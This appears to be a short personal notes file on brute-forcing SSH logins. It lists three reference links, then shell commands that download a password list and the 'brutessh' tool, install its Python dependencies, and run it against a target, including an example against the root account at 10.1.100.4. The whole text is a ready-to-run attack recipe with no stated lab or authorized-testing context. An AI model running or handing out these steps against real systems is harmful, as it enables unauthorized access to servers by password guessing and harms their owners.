1. https://zeldor.biz/2011/01/how-to-bruteforce-ssh/
2. http://docs.paramiko.org/en/2.4/index.html
3. https://github.com/pjq/bruteforcessh

wget http://zeldor.biz/other/bruteforce/passlist.txt
wget http://zeldor.biz/other/bruteforce/brutessh.zip
unzip brutessh.zip
cd brutessh
apt-get install python-crypto python-paramiko

python brutessh.py -h targethost -u user -d passwordict
python brutessh.py -h 10.1.100.4 -u root -d passlist.txt